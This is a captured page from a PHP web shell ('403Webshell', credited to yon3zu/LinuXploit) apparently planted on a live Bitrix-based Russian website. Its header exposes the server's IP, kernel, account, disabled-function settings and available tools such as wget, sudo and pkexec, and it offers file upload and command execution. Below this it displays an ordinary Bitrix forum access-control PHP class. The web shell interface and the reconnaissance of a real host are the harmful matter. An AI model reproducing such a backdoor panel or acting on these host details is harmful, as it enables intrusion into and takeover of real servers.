403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/comments/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/comments/workflowentity.php
<?php

namespace Bitrix\Forum\Comments;

use Bitrix\Main\Loader;

final class WorkflowEntity extends Entity
{
	const ENTITY_TYPE = 'wf';
	const MODULE_ID = 'lists';
	const XML_ID_PREFIX = 'WF_';

	private $hasAccess;

	protected static $permissions = array();

	/**
	 * @var integer $userId User Id.
	 * @return bool
	 */
	public function canRead($userId)
	{
		// you are not allowed to view the task, so you can not read messages
		if(!$this->checkHasAccess($userId))
		{
			return false;
		}

		return true;
	}
	/**
	 * @var integer $userId User Id.
	 * @return bool
	 */
	public function canAdd($userId)
	{
		// you are not allowed to view the task, so you can not add new messages
		if(!$this->checkHasAccess($userId))
		{
			return false;
		}

		return true;
	}

	/**
	 * @var integer $userId User Id.
	 * @return bool
	 */
	public function canEdit($userId)
	{
		global $USER;
		if(
			$USER->isAdmin()
			|| $USER->canDoOperation('bitrix24_config')
		)
		{
			return true;
		}

		return false;
	}

	/**
	 * @param integer $userId User id.
	 * @return bool
	 */
	private function checkHasAccess($userId)
	{
		global $USER;

		if($this->hasAccess === null)
		{
			if (Loader::includeModule("bizproc"))
			{
				if(
					$USER->isAdmin()
					|| $USER->canDoOperation('bitrix24_config')
				)
				{
					$this->hasAccess = true;
				}
				else
				{
					$workflowId = false;
					$workflowIntegerId = intval($this->getId());
					if ($workflowIntegerId > 0)
					{
						$workflowId = \CBPStateService::getWorkflowByIntegerId($workflowIntegerId);
					}

					if ($workflowId)
					{
						$currentUserId = (int) $USER->getId();
						$participants = \CBPTaskService::getWorkflowParticipants($workflowId);
						if (in_array($currentUserId, $participants))
						{
							$this->hasAccess = true;
						}
						else
						{
							$state = \CBPStateService::getWorkflowStateInfo($workflowId);
							$this->hasAccess = (
								$state
								&& $currentUserId === (int) $state['STARTED_BY']
							);
						}
					}
					else
					{
						$this->hasAccess = false;
					}

					if (!$this->hasAccess && Loader::includeModule("iblock"))
					{
						$documentId = \CBPStateService::GetStateDocumentId($workflowId);
						$elementQuery = \CIBlockElement::getList(
							array(), array("ID" => $documentId[2]), false, false, array("IBLOCK_ID"));
						$element = $elementQuery->fetch();
						if ($element['IBLOCK_ID'])
						{
							$this->hasAccess = \CIBlockElementRights::userHasRightTo(
								$element["IBLOCK_ID"], $documentId[2], "element_read");
						}
					}
				}
			}
			else
			{
				$this->hasAccess = false;
			}
		}

		return $this->hasAccess;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit